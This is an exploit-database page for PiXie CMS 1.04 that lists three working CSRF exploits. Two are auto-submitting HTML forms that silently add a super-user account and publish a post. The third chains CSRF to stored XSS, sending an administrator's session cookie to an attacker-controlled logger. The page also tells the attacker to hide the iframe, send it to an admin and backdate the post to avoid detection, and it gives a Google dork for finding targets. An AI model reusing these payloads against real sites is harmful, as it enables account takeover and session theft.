Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

PiXie CMS <= 1.04 - Multiple CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 22 Views

PiXie CMS v1.04 - CSRF Vulnerabilities for Adding Super User and Pos

Code

                                                Add Super User:
&#60;html&#62;
&#60;!--
# Exploit Title: PiXie CMS v1.04 &#60;= CSRF Add Super User
# Google Dork: allintext: &#34;Pixie Powered&#34;
# Date: 28/12/2010
# Author: Ali Raheem (AKA wolfmankurd)
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip
# Version: &#60;=1.04
# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux
Note	: Repace site and path,
USERNAME no spaces,	
REALNAME with a name,
EMAIL with a valid email you get login details
--&#62;
&#60;head&#62;&#60;/head&#62;
&#60;body onload=&#39;document.pwn.submit()&#39;&#62;
&#60;form accept-charset=&#34;UTF-8&#34; action=&#34;http://SITEANDPATH/admin/?s=settings&x=users&#34; method=&#34;post&#34; class=&#34;form&#34; name=&#34;pwn&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;uname&#34; id=&#34;uname&#34; value=&#34;USERNAME&#34;/&#62;
&#60;!-- No Spaces!--&#62;
&#60;input type=&#34;hidden&#34; name=&#34;realname&#34; id=&#34;realname&#34; value=&#34;REALNAME&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; id=&#34;email&#34; value=&#34;EMAIL&#34;/&#62;
&#60;!-- needs to be Valid--&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user_new&#34; value=&#34;Save&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;privilege&#34; value=&#34;2&#34; /&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

Add Post:
&#60;html&#62;
&#60;!--
# Exploit Title: PiXie CMS v1.04 &#60;= CSRF Add Post
# Google Dork: allintext: &#34;Pixie Powered&#34;
# Date: 28/12/2010
# Author: Ali Raheem (AKA wolfmankurd)
# Software Link: http://pixie-cms.googlecode.com/files/pixie_v1.04.zip
# Version: &#60;=1.04
# Tested on: Linux sheevaplug-debian 2.6.32-00007-g56678ec #1 PREEMPT Mon Feb 8 03:49:55 PST 2010 armv5tel GNU/Linux
# Note: Replace SITE_AND_PATH
Have a look at the form and set title, content, tags and Author to whatever you want.
--&#62;
&#60;head&#62;&#60;/head&#62;
&#60;body onload=&#39;document.pwn.submit()&#39;&#62;
&#60;form accept-charset=&#34;UTF-8&#34; action=&#34;http://SITE_AND_PATH/admin/?s=publish&m=dynamic&x=blog&page=1&#34; method=&#34;post&#34; name=&#34;pwn&#34; id=&#34;form_addedit&#34; class=&#34;form&#34;&#62;
&#60;input type=&#34;hidden&#34;name=&#34;table_name&#34; value=&#34;pixie_dynamic_posts&#34;/&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_id&#34; value=&#34;&#34; maxlength=&#34;11&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;page_id&#34; value=&#34;3&#34; maxlength=&#34;11&#34; /&#62;
&#60;input type=&#34;hidden&#34; id=&#34;date&#34; name=&#34;day&#34; value=&#34;28&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;month&#34; value=&#34;12&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;year&#34; value=&#34;2010&#34;&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;time&#34; value=&#34;16:06&#34; size=&#34;5&#34; maxlength=&#34;5&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;title&#34; id=&#34;title&#34; value=&#34;PwnT&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;content&#34; id=&#34;content&#34; cols=&#34;50&#34; value=&#34;PwnT by CSRF&#34;&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;tags&#34; id=&#34;tags&#34; value=&#34;Hack&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;public&#34; id=&#34;public&#34; value=&#34;yes&#34; /&#62;
&#60;input type=&#34;hidden&#34; type=&#34;radio&#34; name=&#34;comments&#34; id=&#34;comments&#34; value=&#34;yes&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;author&#34; value=&#34;AUTHOR&#34; maxlength=&#34;64&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;last_modified&#34; value=&#34;20101228160628&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_views&#34; value=&#34;&#34; maxlength=&#34;99&#34; /&#62;
&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_slug&#34; value=&#34;&#34; maxlength=&#34;255&#34; /&#62;
&#60;input type=&#34;hidden&#34; name=&#34;submit_new&#34; class=&#34;submit&#34; value=&#34;Save&#34; type=&#34;submit&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

# Exploit Title: PiXie CMS v1.04 CSRF to hidden cookie steal
Needs to be modified for clean URLS.



Place this on your server and replace SITE_AND_PATH with the location of the Pixie CMS.

Then point COOKIE_STEALER_SITE at a cookie stealer I&#39;ve called it log.php and it GETs then logs the data variable. (https://github.com/Spyware/The-Toolkit/blob/master/recon/multi/cookie-stealer/log.php works) along with a writable log file called log.



Now include this in a secret (make it small and hidden) iframe in a link and send it to an Admin.



How this works, the little iframe first causes the admin to secretly post a new blog article (dated in the year 2000 so it wont be on the front page, maybe even make it non-public). Then redirects him to it. This article steals his cookie. We can do this because of predictable permalinks.



All this happens in seconds in a possibly hidden iframe. The only evidence? It will be in his latest actions log and the blog post (which will hopefully be hidden deep in the archives).



--&#62;

&#60;body

onload=&#39;document.pwn.submit();location=&#34;http://SITE_AND_PATH/?s=blog&m=permalink&x=__stealer&#34;&#39;&#62;

&#60;form accept-charset=&#34;UTF-8&#34;

action=&#34;http://SITE_AND_PATH/admin/?s=publish&m=dynamic&x=blog&page=1&#34;

method=&#34;post&#34; name=&#34;pwn&#34; id=&#34;form_addedit&#34; class=&#34;form&#34;&#62;

&#60;input type=&#34;hidden&#34;name=&#34;table_name&#34; value=&#34;pixie_dynamic_posts&#34;/&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_id&#34; value=&#34;&#34;

maxlength=&#34;11&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;page_id&#34; value=&#34;3&#34;

maxlength=&#34;11&#34; /&#62;

&#60;input type=&#34;hidden&#34; id=&#34;date&#34; name=&#34;day&#34; value=&#34;10&#34;&#62;

&#60;input type=&#34;hidden&#34; name=&#34;month&#34; value=&#34;12&#34;&#62;

&#60;input type=&#34;hidden&#34; name=&#34;year&#34; value=&#34;2000&#34;&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;time&#34; value=&#34;16:06&#34;

size=&#34;5&#34; maxlength=&#34;5&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;title&#34; id=&#34;title&#34;

value=&#34;__stealer&#34; /&#62;

&#60;input type=&#34;hidden&#34; name=&#34;content&#34; id=&#34;content&#34; cols=&#34;50&#34;

value=&#34;&#60;img src=&#39;&#39; name=&#39;stealer&#39;&#62;

&#60;script&#62;

document.stealer.src=&#39;COOKIE_STEALER_SITE/log.php?data=&#39;+document.cookie;

&#60;/script&#62;

&#34;&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;tags&#34; id=&#34;tags&#34;

value=&#34;Hack&#34;/&#62;

&#60;input type=&#34;hidden&#34; name=&#34;public&#34; id=&#34;public&#34; value=&#34;yes&#34; /&#62;

&#60;input type=&#34;hidden&#34; type=&#34;radio&#34; name=&#34;comments&#34; id=&#34;comments&#34;

value=&#34;yes&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;author&#34; value=&#34;AUTHOR&#34;

maxlength=&#34;64&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;last_modified&#34;

value=&#34;20101228160628&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_views&#34; value=&#34;&#34;

maxlength=&#34;99&#34; /&#62;

&#60;input type=&#34;hidden&#34; class=&#34;form_text&#34; name=&#34;post_slug&#34; value=&#34;&#34;

maxlength=&#34;255&#34; /&#62;

&#60;input type=&#34;hidden&#34; name=&#34;submit_new&#34; class=&#34;submit&#34; value=&#34;Save&#34;

type=&#34;submit&#34;/&#62;

&#60;/form&#62;

&#60;/body&#62;

&#60;/html&#62;

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
csrfpixie cmsvulnerabilitiesadding super useradding post
22